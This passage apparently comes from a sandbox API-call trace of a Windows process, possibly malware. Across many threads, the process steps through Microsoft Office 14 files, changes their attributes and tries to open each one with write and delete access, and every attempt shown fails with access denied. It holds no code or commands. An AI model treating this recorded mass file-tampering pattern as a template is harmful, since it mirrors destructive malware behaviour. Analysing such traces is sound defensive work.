Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\BUTTON.GIF", dwFileAttributes=0x20) returned 0 [0194.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\BUTTON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue\\button.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0194.260] GetLastError () returned 0x5 [0194.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\BUTTON.GIF", dwFileAttributes=0x20) returned 0 [0194.260] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x932950) returned 1 Thread: id = 8471 os_tid = 0x204 [0194.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue\\header.gif")) returned 0x20 [0194.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\HEADER.GIF", dwFileAttributes=0x20) returned 0 [0194.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue\\header.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0194.261] GetLastError () returned 0x5 [0194.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\HEADER.GIF", dwFileAttributes=0x20) returned 0 [0194.261] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x932e00) returned 1 Thread: id = 8472 os_tid = 0x254 [0194.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue\\tab_off.gif")) returned 0x20 [0194.263] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\TAB_OFF.GIF", dwFileAttributes=0x20) returned 0 [0194.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue\\tab_off.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0194.263] GetLastError () returned 0x5 [0194.263] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\TAB_OFF.GIF", dwFileAttributes=0x20) returned 0 [0194.263] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x932a40) returned 1 Thread: id = 8473 os_tid = 0x208 [0194.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue\\tab_on.gif")) returned 0x20 [0194.267] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\TAB_ON.GIF", dwFileAttributes=0x20) returned 0 [0194.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue\\tab_on.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0194.267] GetLastError () returned 0x5 [0194.267] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\TAB_ON.GIF", dwFileAttributes=0x20) returned 0 [0194.267] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x932d10) returned 1 Thread: id = 8474 os_tid = 0x1284 [0194.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_hyperlink.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_hyperlink.gif")) returned 0x20 [0197.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_hyperlink.gif", dwFileAttributes=0x20) returned 0 [0197.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_hyperlink.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_hyperlink.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0197.285] GetLastError () returned 0x5 [0197.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_hyperlink.gif", dwFileAttributes=0x20) returned 0 [0197.285] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8dd240) returned 1 Thread: id = 8475 os_tid = 0x114 [0194.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_increaseindent.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_increaseindent.gif")) returned 0x20 [0197.284] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_increaseindent.gif", dwFileAttributes=0x20) returned 0 [0197.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_increaseindent.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_increaseindent.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0197.284] GetLastError () returned 0x5 [0197.284] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_increaseindent.gif", dwFileAttributes=0x20) returned 0 [0197.284] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d59e0) returned 1 Thread: id = 8476 os_tid = 0x2b0 [0194.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_italic.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_italic.gif")) returned 0x20 [0197.283] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_italic.gif", dwFileAttributes=0x20) returned 0 [0197.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_italic.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_italic.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0197.283] GetLastError () returned 0x5 [0197.283] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_italic.gif", dwFileAttributes=0x20) returned 0 [0197.283] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd496060) returned 1 Thread: id = 8477 os_tid = 0x1e8 [0194.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_justify.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_justify.gif")) returned 0x20 [0197.282] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_justify.gif", dwFileAttributes=0x20) returned 0 [0197.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_justify.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_justify.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0197.282] GetLastError () returned 0x5 [0197.282] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_justify.gif", dwFileAttributes=0x20) returned 0 [0197.282] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd496130) returned 1 Thread: id = 8478 os_tid = 0x250 [0194.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_pressed.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_pressed.gif")) returned 0x20 [0197.280] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_pressed.gif", dwFileAttributes=0x20) returned 0 [0197.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_pressed.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_pressed.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0197.281] GetLastError () returned 0x5 [0197.281] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_pressed.gif", dwFileAttributes=0x20) returned 0 [0197.281] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd496200) returned 1 Thread: id = 8479 os_tid = 0x118 [0194.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_spellcheck.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_spellcheck.gif")) returned 0x20 [0197.279] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_spellcheck.gif", dwFileAttributes=0x20) returned 0 [0197.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_spellcheck.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_spellcheck.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0197.280] GetLastError () returned 0x5 [0197.280] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_spellcheck.gif", dwFileAttributes=0x20) returned 0 [0197.280] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8dd9d8) returned 1 Thread: id = 8480 os_tid = 0x308 [0194.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_underline.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_underline.gif")) returned 0x20 [0197.278] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_underline.gif", dwFileAttributes=0x20) returned 0 [0197.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_underline.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_underline.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0197.278] GetLastError () returned 0x5 [0197.278] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_underline.gif", dwFileAttributes=0x20) returned 0 [0197.278] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ddc60) returned 1 Thread: id = 8481 os_tid = 0x1fe4 [0194.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\SAVE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\save.gif")) returned 0x20 [0197.277] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\SAVE.GIF", dwFileAttributes=0x20) returned 0 [0197.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\SAVE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\save.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0197.277] GetLastError () returned 0x5 [0197.277] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\SAVE.GIF", dwFileAttributes=0x20) returned 0 [0197.277] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c7100) returned 1 Thread: id = 8482 os_tid = 0xe14 [0194.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\SUBMIT.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\submit.js")) returned 0x20 [0197.276] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\SUBMIT.JS", dwFileAttributes=0x20) returned 0 [0197.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\SUBMIT.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\submit.js"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0197.276] GetLastError () returned 0x5 [0197.276] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\SUBMIT.JS", dwFileAttributes=0x20) returned 0 [0197.276] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b9eb8) returned 1 Thread: id = 8483 os_tid = 0x12f0 [0194.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\utilityfunctions.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\utilityfunctions.js")) returned 0x20 [0197.275] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\utilityfunctions.js", dwFileAttributes=0x20) returned 0 [0197.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\utilityfunctions.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\utilityfunctions.js"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0197.275] GetLastError () returned 0x5 [0197.275] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\utilityfunctions.js", dwFileAttributes=0x20) returned 0 [0197.275] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8dd828) returned 1 Thread: id = 8484 os_tid = 0x1304 [0194.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\validation.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\validation.js")) returned 0x20 [0197.286] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\validation.js", dwFileAttributes=0x20) returned 0 [0197.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\validation.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\validation.js"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0197.286] GetLastError () returned 0x5 [0197.286] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\validation.js", dwFileAttributes=0x20) returned 0 [0197.287] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4962d0) returned 1 Thread: id = 8591 os_tid = 0x1f18 [0194.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MAIN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\main.xml")) returned 0x20 [0194.744] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MAIN.XML", dwFileAttributes=0x20) returned 0 [0194.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MAIN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\main.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0194.744] GetLastError () returned 0x5 [0194.744] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MAIN.XML", dwFileAttributes=0x20) returned 0 [0194.744] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8cfd00) returned 1 Thread: id = 8592 os_tid = 0x1f20 [0194.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MARQUEE.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\marquee.poc")) returned 0x20 [0194.746] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MARQUEE.POC", dwFileAttributes=0x20) returned 0 [0194.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MARQUEE.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\marquee.poc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0194.746] GetLastError () returned 0x5 [0194.746] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MARQUEE.POC", dwFileAttributes=0x20) returned 0 [0194.746] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c511e8) returned 1 Thread: id = 8593 os_tid = 0x1f28 [0194.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MENU.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\menu.dpv")) returned 0x20 [0197.416] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MENU.DPV", dwFileAttributes=0x20) returned 0 [0197.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MENU.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\menu.dpv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0197.416] GetLastError () returned 0x5 [0197.416] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MENU.DPV", dwFileAttributes=0x20) returned 0 [0197.416] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8cff00) returned 1 Thread: id = 8594 os_tid = 0x1f2c [0194.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MENU.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\menu.xml")) returned 0x20 [0197.418] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MENU.XML", dwFileAttributes=0x20) returned 0 [0197.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MENU.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\menu.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0197.418] GetLastError () returned 0x5 [0197.418] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MENU.XML", dwFileAttributes=0x20) returned 0 [0197.418] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0280) returned 1 Thread: id = 8595 os_tid = 0xa50 [0194.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MENU98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\menu98.poc")) returned 0x20 [0197.449] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MENU98.POC", dwFileAttributes=0x20) returned 0 [0197.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MENU98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\menu98.poc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0197.449] GetLastError () returned 0x5 [0197.449] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MENU98.POC", dwFileAttributes=0x20) returned 0 [0197.449] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c51380) returned 1 Thread: id = 8596 os_tid = 0x1f30 [0194.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MSTHED98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\msthed98.poc")) returned 0x20 [0197.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MSTHED98.POC", dwFileAttributes=0x20) returned 0 [0197.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MSTHED98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\msthed98.poc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0197.487] GetLastError () returned 0x5 [0197.487] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MSTHED98.POC", dwFileAttributes=0x20) returned 0 [0197.487] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c51e20) returned 1 Thread: id = 8597 os_tid = 0x1f40 [0194.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NAVBAR11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\navbar11.poc")) returned 0x20 [0197.501] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NAVBAR11.POC", dwFileAttributes=0x20) returned 0 [0197.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NAVBAR11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\navbar11.poc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0197.501] GetLastError () returned 0x5 [0197.501] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NAVBAR11.POC", dwFileAttributes=0x20) returned 0 [0197.501] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c51518) returned 1 Thread: id = 8598 os_tid = 0x1474 [0194.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NAVBARV.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\navbarv.poc")) returned 0x20 [0197.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NAVBARV.POC", dwFileAttributes=0x20) returned 0 [0197.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NAVBARV.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\navbarv.poc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0197.500] GetLastError () returned 0x5 [0197.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NAVBARV.POC", dwFileAttributes=0x20) returned 0 [0197.500] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b8e30) returned 1 Thread: id = 8630 os_tid = 0xcf0 [0194.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio 